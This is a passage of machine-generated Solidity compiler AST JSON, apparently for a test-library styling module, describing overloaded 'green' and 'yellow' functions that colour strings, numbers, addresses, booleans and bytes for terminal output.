memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":9573,"name":"styleConcat","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9463,"src":"1825:11:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory,string memory) pure returns (string memory)"}},"id":9576,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1825:24:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":9572,"id":9577,"nodeType":"Return","src":"1818:31:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"green","nameLocation":"1744:5:9","parameters":{"id":9569,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9568,"mutability":"mutable","name":"self","nameLocation":"1764:4:9","nodeType":"VariableDeclaration","scope":9579,"src":"1750:18:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":9567,"name":"string","nodeType":"ElementaryTypeName","src":"1750:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"1749:20:9"},"returnParameters":{"id":9572,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9571,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":9579,"src":"1793:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":9570,"name":"string","nodeType":"ElementaryTypeName","src":"1793:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"1792:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":9594,"nodeType":"FunctionDefinition","src":"1862:115:9","nodes":[],"body":{"id":9593,"nodeType":"Block","src":"1929:48:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":9589,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9581,"src":"1964:4:9","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":9587,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"1952:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":9588,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1955:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13441,"src":"1952:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_uint256_$returns$_t_string_memory_ptr_$","typeString":"function (uint256) pure external returns (string memory)"}},"id":9590,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1952:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":9586,"name":"green","nodeType":"Identifier","overloadedDeclarations":[9579,9594,9609,9624,9639],"referencedDeclaration":9579,"src":"1946:5:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":9591,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1946:24:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":9585,"id":9592,"nodeType":"Return","src":"1939:31:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"green","nameLocation":"1871:5:9","parameters":{"id":9582,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9581,"mutability":"mutable","name":"self","nameLocation":"1885:4:9","nodeType":"VariableDeclaration","scope":9594,"src":"1877:12:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":9580,"name":"uint256","nodeType":"ElementaryTypeName","src":"1877:7:9","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1876:14:9"},"returnParameters":{"id":9585,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9584,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":9594,"src":"1914:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":9583,"name":"string","nodeType":"ElementaryTypeName","src":"1914:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"1913:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":9609,"nodeType":"FunctionDefinition","src":"1983:114:9","nodes":[],"body":{"id":9608,"nodeType":"Block","src":"2049:48:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":9604,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9596,"src":"2084:4:9","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"}],"expression":{"id":9602,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"2072:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":9603,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2075:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13449,"src":"2072:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_int256_$returns$_t_string_memory_ptr_$","typeString":"function (int256) pure external returns (string memory)"}},"id":9605,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2072:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":9601,"name":"green","nodeType":"Identifier","overloadedDeclarations":[9579,9594,9609,9624,9639],"referencedDeclaration":9579,"src":"2066:5:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":9606,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2066:24:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":9600,"id":9607,"nodeType":"Return","src":"2059:31:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"green","nameLocation":"1992:5:9","parameters":{"id":9597,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9596,"mutability":"mutable","name":"self","nameLocation":"2005:4:9","nodeType":"VariableDeclaration","scope":9609,"src":"1998:11:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":9595,"name":"int256","nodeType":"ElementaryTypeName","src":"1998:6:9","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"1997:13:9"},"returnParameters":{"id":9600,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9599,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":9609,"src":"2034:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":9598,"name":"string","nodeType":"ElementaryTypeName","src":"2034:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"2033:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":9624,"nodeType":"FunctionDefinition","src":"2103:115:9","nodes":[],"body":{"id":9623,"nodeType":"Block","src":"2170:48:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":9619,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9611,"src":"2205:4:9","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":9617,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"2193:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":9618,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2196:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13409,"src":"2193:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_address_$returns$_t_string_memory_ptr_$","typeString":"function (address) pure external returns (string memory)"}},"id":9620,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2193:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":9616,"name":"green","nodeType":"Identifier","overloadedDeclarations":[9579,9594,9609,9624,9639],"referencedDeclaration":9579,"src":"2187:5:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":9621,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2187:24:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":9615,"id":9622,"nodeType":"Return","src":"2180:31:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"green","nameLocation":"2112:5:9","parameters":{"id":9612,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9611,"mutability":"mutable","name":"self","nameLocation":"2126:4:9","nodeType":"VariableDeclaration","scope":9624,"src":"2118:12:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":9610,"name":"address","nodeType":"ElementaryTypeName","src":"2118:7:9","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"2117:14:9"},"returnParameters":{"id":9615,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9614,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":9624,"src":"2155:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":9613,"name":"string","nodeType":"ElementaryTypeName","src":"2155:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"2154:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":9639,"nodeType":"FunctionDefinition","src":"2224:112:9","nodes":[],"body":{"id":9638,"nodeType":"Block","src":"2288:48:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":9634,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9626,"src":"2323:4:9","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":9632,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"2311:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":9633,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2314:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13433,"src":"2311:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bool_$returns$_t_string_memory_ptr_$","typeString":"function (bool) pure external returns (string memory)"}},"id":9635,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2311:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":9631,"name":"green","nodeType":"Identifier","overloadedDeclarations":[9579,9594,9609,9624,9639],"referencedDeclaration":9579,"src":"2305:5:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":9636,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2305:24:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":9630,"id":9637,"nodeType":"Return","src":"2298:31:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"green","nameLocation":"2233:5:9","parameters":{"id":9627,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9626,"mutability":"mutable","name":"self","nameLocation":"2244:4:9","nodeType":"VariableDeclaration","scope":9639,"src":"2239:9:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":9625,"name":"bool","nodeType":"ElementaryTypeName","src":"2239:4:9","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"2238:11:9"},"returnParameters":{"id":9630,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9629,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":9639,"src":"2273:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":9628,"name":"string","nodeType":"ElementaryTypeName","src":"2273:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"2272:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":9654,"nodeType":"FunctionDefinition","src":"2342:125:9","nodes":[],"body":{"id":9653,"nodeType":"Block","src":"2419:48:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":9649,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9641,"src":"2454:4:9","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":9647,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"2442:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":9648,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2445:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13417,"src":"2442:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bytes_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (bytes memory) pure external returns (string memory)"}},"id":9650,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2442:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":9646,"name":"green","nodeType":"Identifier","overloadedDeclarations":[9579,9594,9609,9624,9639],"referencedDeclaration":9579,"src":"2436:5:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":9651,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2436:24:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":9645,"id":9652,"nodeType":"Return","src":"2429:31:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"greenBytes","nameLocation":"2351:10:9","parameters":{"id":9642,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9641,"mutability":"mutable","name":"self","nameLocation":"2375:4:9","nodeType":"VariableDeclaration","scope":9654,"src":"2362:17:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":9640,"name":"bytes","nodeType":"ElementaryTypeName","src":"2362:5:9","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"2361:19:9"},"returnParameters":{"id":9645,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9644,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":9654,"src":"2404:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":9643,"name":"string","nodeType":"ElementaryTypeName","src":"2404:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"2403:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":9669,"nodeType":"FunctionDefinition","src":"2473:122:9","nodes":[],"body":{"id":9668,"nodeType":"Block","src":"2547:48:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":9664,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9656,"src":"2582:4:9","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":9662,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"2570:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":9663,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2573:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13425,"src":"2570:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bytes32_$returns$_t_string_memory_ptr_$","typeString":"function (bytes32) pure external returns (string memory)"}},"id":9665,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2570:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":9661,"name":"green","nodeType":"Identifier","overloadedDeclarations":[9579,9594,9609,9624,9639],"referencedDeclaration":9579,"src":"2564:5:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":9666,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2564:24:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":9660,"id":9667,"nodeType":"Return","src":"2557:31:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"greenBytes32","nameLocation":"2482:12:9","parameters":{"id":9657,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9656,"mutability":"mutable","name":"self","nameLocation":"2503:4:9","nodeType":"VariableDeclaration","scope":9669,"src":"2495:12:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":9655,"name":"bytes32","nodeType":"ElementaryTypeName","src":"2495:7:9","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"2494:14:9"},"returnParameters":{"id":9660,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9659,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":9669,"src":"2532:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":9658,"name":"string","nodeType":"ElementaryTypeName","src":"2532:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"2531:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":9682,"nodeType":"FunctionDefinition","src":"2601:123:9","nodes":[],"body":{"id":9681,"nodeType":"Block","src":"2675:49:9","nodes":[],"statements":[{"expression":{"arguments":[{"id":9677,"name":"YELLOW","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9416,"src":"2704:6:9","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":9678,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9671,"src":"2712:4:9","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":9676,"name":"styleConcat","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9463,"src":"2692:11:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory,string memory) pure returns (string memory)"}},"id":9679,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2692:25:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":9675,"id":9680,"nodeType":"Return","src":"2685:32:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"yellow","nameLocation":"2610:6:9","parameters":{"id":9672,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9671,"mutability":"mutable","name":"self","nameLocation":"2631:4:9","nodeType":"VariableDeclaration","scope":9682,"src":"2617:18:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":9670,"name":"string","nodeType":"ElementaryTypeName","src":"2617:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"2616:20:9"},"returnParameters":{"id":9675,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9674,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":9682,"src":"2660:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":9673,"name":"string","nodeType":"ElementaryTypeName","src":"2660:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"2659:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":9697,"nodeType":"FunctionDefinition","src":"2730:117:9","nodes":[],"body":{"id":9696,"nodeType":"Block","src":"2798:49:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":9692,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9684,"src":"2834:4:9","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":9690,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"2822:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":9691,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2825:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13441,"src":"2822:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_uint256_$returns$_t_string_memory_ptr_$","typeString":"function (uint256) pure external returns (string memory)"}},"id":9693,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2822:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":9689,"name":"yellow","nodeType":"Identifier","overloadedDeclarations":[9682,9697,9712,9727,9742],"referencedDeclaration":9682,"src":"2815:6:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":9694,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2815:25:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":9688,"id":9695,"nodeType":"Return","src":"2808:32:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"yellow","nameLocation":"2739:6:9","parameters":{"id":9685,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9684,"mutability":"mutable","name":"self","nameLocation":"2754:4:9","nodeType":"VariableDeclaration","scope":9697,"src":"2746:12:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":9683,"name":"uint256","nodeType":"ElementaryTypeName","src":"2746:7:9","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"2745:14:9"},"returnParameters":{"id":9688,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9687,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":9697,"src":"2783:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":9686,"name":"string","nodeType":"ElementaryTypeName","src":"2783:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"2782:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":9712,"nodeType":"FunctionDefinition","src":"2853:116:9","nodes":[],"body":{"id":9711,"nodeType":"Block","src":"2920:49:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":9707,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9699,"src":"2956:4:9","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"}],"expression":{"id":9705,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"2944:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":9706,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2947:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13449,"src":"2944:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_int256_$returns$_t_string_memory_ptr_$","typeString":"function (int256) pure external returns (string memory)"}},"id":9708,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2944:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":9704,"name":"yellow","nodeType":"Identifier","overloadedDeclarations":[9682,9697,9712,9727,9742],"referencedDeclaration":9682,"src":"2937:6:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":9709,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2937:25:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string 